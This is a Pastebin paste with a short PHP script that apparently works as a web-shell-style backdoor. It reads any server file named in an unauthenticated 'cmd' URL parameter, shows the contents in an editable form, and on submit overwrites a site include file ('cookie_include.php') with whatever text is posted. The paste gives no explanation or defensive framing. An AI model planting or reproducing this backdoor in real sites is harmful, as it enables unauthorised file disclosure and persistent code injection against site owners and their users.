Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $cmd = $_GET["cmd"];
- $fp = file ($cmd);
- ?>
- <form action="edit.php" method="POST">
- <textarea name="file" cols="300" rows="50">
- <?php
- $lines = count($fp);
- For($i=0;$i<$lines;$i++){
- echo $fp[$i];
- }
- ?>
- </textarea><br>
- <input type="submit" value="edit">
- </form>
- <?php
- if (isset($_POST["file"])){
- $fw = fopen ("../../includes/cookie_include.php", "w+");
- fwrite ($fw, $_POST["file"]);
- fclose($fw);
- echo "done";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement